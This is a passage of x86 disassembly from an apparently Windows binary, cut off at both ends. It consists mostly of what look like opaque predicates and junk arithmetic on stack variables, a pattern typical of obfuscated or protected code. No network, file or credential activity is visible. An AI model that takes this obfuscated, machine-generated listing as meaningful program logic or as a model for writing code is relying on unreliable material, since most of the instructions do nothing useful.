cmp dword [ebp - 0x44c], 0
je 0x46faca
mov byte [ebp - 0x273], 0
movzx eax, byte [ebp - 0x273]
test eax, eax
je 0x46fa8f
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [ebp - 0x44c], 7
jmp 0x46faa8
mov eax, dword [ebp - 0x44c]
dec eax
mov dword [ebp - 0x44c], eax
cmp dword [ebp - 0x44c], 0xfffffffd
jne 0x46fac5
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2fb8], 0
je 0x46fac3
jmp 0x46fac5
jmp 0x46fa9b
jmp 0x46fe36
mov dword [ebp - 0xc50], 0xc662
mov dword [ebp - 0x808], 0x515466bc
push 4
lea ecx, [ebp - 0x22ec]
call fcn.004312ee
mov dword [ebp - 0x630], 0
jmp 0x46fb04
mov eax, dword [ebp - 0x630]
inc eax
mov dword [ebp - 0x630], eax
cmp dword [ebp - 0x630], 4
jge 0x46fb26
push dword [ebp - 0x630]
lea ecx, [ebp - 0x22ec]
call fcn.004313dc
mov dword [eax], 0x223dec99
jmp 0x46faf7
cmp dword [ebp - 0xc50], 0
je 0x46fc42
mov dword [ebp - 0xa60], 0
mov eax, dword [ebp - 0xa60]
mov dword [ebp - 0x3190], eax
mov dword [ebp - 0x808], 0x1e124dc4
cmp dword [ebp - 0x808], 0
jne 0x46fbab
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x2fb8], 0
jne 0x46fb75
cmp dword [ebp - 0xa60], 0
je 0x46fb8a
mov eax, 0x718bd850
test eax, eax
je 0x46fb8a
mov dword [ebp - 0x1c84], 1
jmp 0x46fb91
and dword [ebp - 0x1c84], 0
mov eax, dword [ebp - 0x808]
cmp dword [ebp - 0x1c84], eax
je 0x46fbab
mov dword [ebp - 0xe88], 1
jmp 0x46fbb2
and dword [ebp - 0xe88], 0
mov eax, dword [ebp - 0xe88]
mov dword [ebp - 0x3c4], eax
cmp dword [ebp - 0x3c4], 0
jne 0x46fbd9
mov eax, 0x5aa05d76
test eax, eax
jne 0x46fbd9
and dword [ebp - 0x1c8c], 0
jmp 0x46fbe3
mov dword [ebp - 0x1c8c], 1
cmp dword [ebp - 0x1c8c], 0xd06721f7
je 0x46fbfb
mov dword [ebp - 0xe90], 1
jmp 0x46fc02
and dword [ebp - 0xe90], 0
mov eax, 0xdd44
sub eax, dword [ebp - 0xe90]
cmp eax, dword [ebp - 0xa60]
je 0x46fc21
mov dword [ebp - 0x1c94], 1
jmp 0x46fc28
and dword [ebp - 0x1c94], 0
push 2
lea ecx, [ebp - 0x22ec]
call fcn.004313dc
mov ecx, dword [ebp - 0x1c94]
mov dword [eax], ecx
jmp 0x46fe1f
mov dword [ebp - 0xea8], 0
mov dword [ebp - 0x638], 3
mov eax, 0x8648
test eax, eax
je 0x46fda0
push 0
lea ecx, [ebp - 0x22ec]
call fcn.004313dc
mov eax, dword [ebp - 0xc50]
add eax, 0x769867f5
mov dword [ebp - 0x3c4], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2fb8]
cmp dword [ebp - 0x3c4], eax
jl 0x46fca2
mov dword [ebp - 0xe98], 1
jmp 0x46fca9
and dword [ebp - 0xe98], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2fb8]
cmp dword [ebp - 0xe98], eax
jl 0x46fcca
mov dword [ebp - 0x1c9c], 1
jmp 0x46fcd1
and dword [ebp - 0x1c9c], 0
push 2
lea ecx, [ebp - 0x22ec]
call fcn.004313dc
mov eax, dword [eax]
cmp eax, dword [ebp - 0x1c9c]
jge 0x46fcf4
mov dword [ebp - 0xea0], 1
jmp 0x46fcfb
and dword [ebp - 0xea0], 0
cmp dword [ebp - 0xea0], 0xffffffff
jg 0x46fd10
mov dword [ebp - 0x1ca4], 1
jmp 0x46fd17
and dword [ebp - 0x1ca4], 0
mov eax, dword [ebp - 0x1ca4]
mov dword [ebp - 0xea8], eax
mov eax, dword [ebp - 0xea8]
mov dword [ebp - 0x1cac], eax
mov eax, dword [ebp - 0x1cac]
imul eax, dword [ebp - 0x638]
cmp eax, dword [ebp - 0x44c]
jge 0x46fd50
mov dword [ebp - 0xeb0], 1
jmp 0x46fd57
and dword [ebp - 0xeb0], 0
mov eax, dword [ebp - 0xeb0]
add eax, 0x72be
cmp eax, dword [ebp - 0x638]
jge 0x46fd76
mov dword [ebp - 0x260c], 1
jmp 0x46fd7d
and dword [ebp - 0x260c], 0
push 3
lea ecx, [ebp - 0x22ec]
call fcn.004313dc
mov eax, 0x3fd90538
cmp eax, 1
je 0x46fda0
mov dword [ebp - 0x1cb4], 1
jmp 0x46fda7
and dword [ebp - 0x1cb4], 0
cmp dword [ebp - 0x1cb4], 0xaece
je 0x46fdbf
mov dword [ebp - 0xeb8], 1
jmp 0x46fdc6
and dword [ebp - 0xeb8], 0
mov eax, dword [ebp - 0x808]
cmp dword [ebp - 0xeb8], eax
je 0x46fde0
mov dword [ebp - 0x2614], 1
jmp 0x46fde7
and dword [ebp - 0x2614], 0
mov eax, 0x97756eb
test eax, eax
jne 0x46fe02
cmp dword [ebp - 0xc50], 0
jne 0x46fe02
and dword [ebp - 0x1cbc], 0
jmp 0x46fe0c
mov dword [ebp - 0x1cbc], 1
mov eax, dword [ebp - 0x638]
imul eax, dword [ebp - 0x1cbc]
mov dword [ebp - 0x638], eax
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x3c4], eax
lea ecx, [ebp - 0x22ec]
call fcn.004313c0
push 2
lea ecx, [ebp - 0x2304]
call fcn.004312ee
mov dword [ebp - 0xb88], 0xfffffff8
mov dword [ebp - 0x2cd4], 0xfffffffa
mov dword [ebp - 0x2cd0], 0xfffffffa
mov dword [ebp - 0x2ccc], 0xfffffffa
mov dword [ebp - 0x2cc8], 0xfffffffa
lea ecx, [ebp - 0xa15]
call fcn.004313eb
push eax
lea eax, [ebp - 0x2cc4]
push eax
lea eax, [ebp - 0x2cd4]
push eax
lea ecx, [ebp - 0x37d4]
call fcn.004313ee
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x32c0]
call fcn.0043139a
mov dword [ebp - 0x2624], 0xffffffff
mov dword [ebp - 0x1c4], 0
jmp 0x46fecd
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 1
jge 0x46fee9
mov eax, dword [ebp - 0x1c4]
mov dword [ebp + eax*4 - 0xec0], 0x292c5eb2
jmp 0x46fec0
mov dword [ebp - 0x1c4], 0
jmp 0x46ff02
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 2
jge 0x46ff24
push dword [ebp - 0x1c4]
lea ecx, [ebp - 0x2304]
call fcn.004313dc
mov dword [eax], 0xfffffff6
jmp 0x46fef5
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xec0]
mov dword [ebp - 0x1cc4], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1cc4]
mov dword [ebp + eax - 0xec0], ecx
push 1
lea ecx, [ebp - 0x2304]
call fcn.004313dc
mov eax, dword [eax]
mov dword [ebp - 0xb88], eax
mov eax, dword [ebp - 0xb88]
cmp dword [ebp - 0x1cc4], eax
jle 0x46ff79
mov dword [ebp - 0xa68], 1
jmp 0x46ff80
and dword [ebp - 0xa68], 0
push 1
lea ecx, [ebp - 0x32c0]
call fcn.004313dc
mov ecx, dword [ebp - 0xa68]
mov dword [eax], ecx
push 0
lea ecx, [ebp - 0x2304]
call fcn.004313dc
mov ecx, dword [ebp - 0xa68]
cmp ecx, dword [eax]
jl 0x46ffb8
mov dword [ebp - 0xec8], 1
jmp 0x46ffbf
and dword [ebp - 0xec8], 0
cmp dword [ebp - 0xec8], 0
jae 0x46ffd4
mov dword [ebp - 0x1ccc], 1
jmp 0x46ffdb
and dword [ebp - 0x1ccc], 0
push 0
lea ecx, [ebp - 0x2304]
call fcn.004313dc
mov ecx, dword [ebp - 0x1ccc]
cmp ecx, dword [eax]
jne 0x46fffe
mov dword [ebp - 0x261c], 1
jmp 0x470005
and dword [ebp - 0x261c], 0
push 1
lea ecx, [ebp - 0x2304]
call fcn.004313dc
mov eax, dword [ebp - 0xb88]
mov dword [ebp - 0x2624], eax
lea ecx, [ebp - 0x32c0]
call fcn.004313c0
lea ecx, [ebp - 0x2304]
call fcn.004313c0
mov dword [ebp - 0x204], 0
jmp 0x47004d
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 1
jge 0x470066
mov eax, dword [ebp - 0x204]
mov dword [ebp + eax*4 - 0x30], 7
jmp 0x470040
push 2
lea ecx, [ebp - 0xa00]
call fcn.004312ee
mov dword [ebp - 0x2d4], 0x1e0c
mov dword [ebp - 0x268], 0xffffffff
mov dword [ebp - 0x810], 0x68ab8ac2
mov dword [ebp - 0x9b8], 0
jmp 0x4700aa
mov eax, dword [ebp - 0x9b8]
inc eax
mov dword [ebp - 0x9b8], eax
cmp dword [ebp - 0x9b8], 2
jge 0x4700c9
push dword [ebp - 0x9b8]
lea ecx, [ebp - 0xa00]
call fcn.004313dc
or dword [eax], 0xffffffff
jmp 0x47009d
push 1
lea ecx, [ebp - 0xa00]
call fcn.004313dc
and dword [eax], 0
jmp 0x4700ff
push 1
lea ecx, [ebp - 0xa00]
call fcn.004313dc
cmp dword [eax], 0xffffffe2
jle 0x470540
mov dword [ebp - 0x120], 0x6887e08a
mov dword [ebp - 0x2bbc], 0x4d3380d4
mov dword [ebp - 0x2bb8], 0x4d3380d4
mov dword [ebp - 0x2bb4], 0x4d3380d4
mov dword [ebp - 0x2bb0], 0x4d3380d4
lea ecx, [ebp - 0xb5d]
call fcn.004313eb
push eax
lea eax, [ebp - 0x2bac]
push eax
lea eax, [ebp - 0x2bbc]
push eax
lea ecx, [ebp - 0x382c]
call fcn.004313ee
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x231c]
call fcn.0043139a
mov dword [ebp - 0xef8], 0x3dfe8e23
push 4
lea ecx, [ebp - 0x2f0c]
call fcn.004312ee
mov dword [ebp - 0x640], 0
jmp 0x4701ac
mov eax, dword [ebp - 0x640]
inc eax
mov dword [ebp - 0x640], eax
cmp dword [ebp - 0x640], 4
jge 0x4701ce
push dword [ebp - 0x640]
lea ecx, [ebp - 0x2f0c]
call fcn.004313dc
mov dword [eax], 0xcc772a30
jmp 0x47019f
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x3718], eax
push 0
lea ecx, [ebp - 0xa00]
call fcn.004313dc
cmp dword [eax], 0
je 0x4701fc
xor eax, eax
je 0x4701fc
mov dword [ebp - 0x1cd4], 1
jmp 0x470203
and dword [ebp - 0x1cd4], 0
mov eax, dword [ebp - 0x1cd4]
add eax, 8
mov dword [ebp - 0x2d4], eax
jne 0x470226
cmp dword [ebp - 0x120], 0
jne 0x470226
and dword [ebp - 0xed8], 0
jmp 0x470230
mov dword [ebp - 0xed8], 1
mov eax, dword [ebp - 0x120]
add eax, dword [ebp - 0xed8]
cmp eax, dword [ebp - 0x120]
jle 0x470250
mov dword [ebp - 0x262c], 1
jmp 0x470257
and dword [ebp - 0x262c], 0
push 1
lea ecx, [ebp - 0xa00]
call fcn.004313dc
mov esi, dword [ebp - 0x2d4]
push 1
lea ecx, [ebp - 0xa00]
call fcn.004313dc
imul esi, dword [eax]
push 1
lea ecx, [ebp - 0xa00]
call fcn.004313dc
cmp esi, dword [eax]
je 0x470297
mov dword [ebp - 0x1cdc], 1
jmp 0x47029e
and dword [ebp - 0x1cdc], 0
mov eax, dword [ebp - 0x1cdc]
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 0
je 0x4702ba
cmp dword [ebp - 0x2d4], 0
push 0
lea ecx, [ebp - 0xa00]
call fcn.004313dc
mov ecx, dword [ebp - 0x2d4]
imul ecx, dword [eax]
mov dword [ebp - 0x120], ecx
push 1
lea ecx, [ebp - 0xa00]
call fcn.004313dc
mov eax, dword [ebp - 0x268]
mov dword [ebp - 0x3198], eax
mov eax, dword [ebp - 0x2d4]
mov dword [ebp - 0x31fc], eax
mov eax, dword [ebp - 0x268]
mov dword [ebp - 0x3574], eax
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x3204], eax
cmp dword [ebp - 0x810], 0
jne 0x47032e
cmp dword [ebp - 0x2d4], 0
jne 0x47032e
and dword [ebp - 0xee0], 0
jmp 0x470338
mov dword [ebp - 0xee0], 1
mov eax, dword [ebp - 0x120]
cmp dword [ebp - 0xee0], eax
jne 0x470352
mov dword [ebp - 0x1ce4], 1
jmp 0x470359
and dword [ebp - 0x1ce4], 0
mov eax, dword [ebp - 0x1ce4]
mov dword [ebp - 0x120], eax
mov esi, dword [ebp - 0x120]
push 2
lea ecx, [ebp - 0x231c]
call fcn.004313dc
cmp esi, dword [eax]
jg 0x470388
lea ecx, [ebp - 0xa00]
call fcn.004313c0
mov dword [ebp - 0x204], 0
jmp 0x470564
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 2
jge 0x470580
mov eax, dword [ebp - 0x204]
mov dword [ebp + eax*4 - 0x3664], 0xfaf14186
jmp 0x470557
mov dword [ebp - 0x230], 1
mov dword [ebp - 0x50c], 0xf98cafa3
mov dword [ebp - 0x414], 0x8ce6fc2e
mov dword [ebp - 0xf18], 0x3cef3392
mov dword [ebp - 0x2654], 0x93dd61fb
mov dword [ebp - 0x366c], 0x9342bb1e
mov dword [ebp - 0x648], 0
jmp 0x4705d5
mov eax, dword [ebp - 0x648]
inc eax
mov dword [ebp - 0x648], eax
cmp dword [ebp - 0x648], 1
jge 0x4705f1
mov eax, dword [ebp - 0x648]
mov dword [ebp + eax*4 - 0xa70], 1
jmp 0x4705c8
mov eax, dword [ebp - 0x230]
dec eax
mov dword [ebp - 0x230], eax
jne 0x4706ec
mov dword [ebp - 0x50c], 0x33037736
cmp dword [ebp - 0x50c], 0
je 0x47065c
cmp dword [ebp - 0x230], 0
je 0x470635
cmp dword [ebp - 0x50c], 0
je 0x470635
mov dword [ebp - 0x1d04], 1
jmp 0x47063c
and dword [ebp - 0x1d04], 0
mov eax, dword [ebp - 0x230]
add eax, dword [ebp - 0x1d04]
cmp dword [ebp - 0x50c], eax
jle 0x47065c
mov dword [ebp - 0x264c], 1
jmp 0x470663
and dword [ebp - 0x264c], 0
mov eax, dword [ebp - 0x50c]
cmp dword [ebp - 0x230], eax
jle 0x47067d
mov dword [ebp - 0xf08], 1
jmp 0x470684
and dword [ebp - 0xf08], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xf08]
mov dword [ebp + eax - 0xa70], ecx
mov eax, dword [ebp - 0x230]
mov dword [ebp - 0x321c], eax
cmp dword [ebp - 0x230], 0
je 0x4706b8
mov dword [ebp - 0x1d0c], 1
jmp 0x4706bf
and dword [ebp - 0x1d0c], 0
mov eax, dword [ebp - 0x414]
add eax, dword [ebp - 0x1d0c]
cmp eax, dword [ebp - 0x414]
jle 0x4706dc
mov eax, 0xe6c0
test eax, eax
jne 0x4706ec
push 8
pop eax
test eax, eax
jne 0x4706ec
mov dword [ebp - 0xf10], 1
mov eax, dword [ebp - 0x414]
cmp dword [ebp - 0xf10], eax
je 0x470710
mov dword [ebp - 0x1d14], 1
jmp 0x470717
and dword [ebp - 0x1d14], 0
mov eax, dword [ebp - 0x414]
add eax, dword [ebp - 0x1d14]
sub eax, dword [ebp - 0x414]
mov dword [ebp - 0xf18], eax
cmp dword [ebp - 0x2654], 0
jne 0x47079b
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xa70], 0
jne 0x470755
xor eax, eax
jne 0x470755
and dword [ebp - 0x1d1c], 0
jmp 0x47075f
mov dword [ebp - 0x1d1c], 1
mov eax, dword [ebp - 0xf18]
cmp eax, dword [ebp - 0x1d1c]
jg 0x47077f
cmp dword [ebp - 0x414], 0
jne 0x47077f
mov dword [ebp - 0xf20], 1
cmp dword [ebp - 0xf20], 0xfffffffc
jg 0x47079b
mov dword [ebp - 0x1d24], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1d24]
mov dword [ebp + eax - 0xa70], ecx
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x30], 0
jne 0x4709ca
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x30], 0
je 0x470904
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x30]
cmp dword [ebp + eax - 0x30], ecx
jge 0x470809
and dword [ebp - 0x2664], 0
mov dword [ebp - 0x1d3c], 0x3b882169
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x30]
cmp dword [ebp - 0x1d3c], eax
jne 0x470933
mov dword [ebp - 0xf50], 1
mov eax, dword [ebp - 0xf50]
mov dword [ebp - 0x1d54], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x30]
cmp dword [ebp - 0x1d54], eax
jl 0x4709fe
mov dword [ebp - 0xf58], 1
jmp 0x470a05
and dword [ebp - 0xf58], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x30]
cmp dword [ebp - 0xf58], eax
je 0x470a2d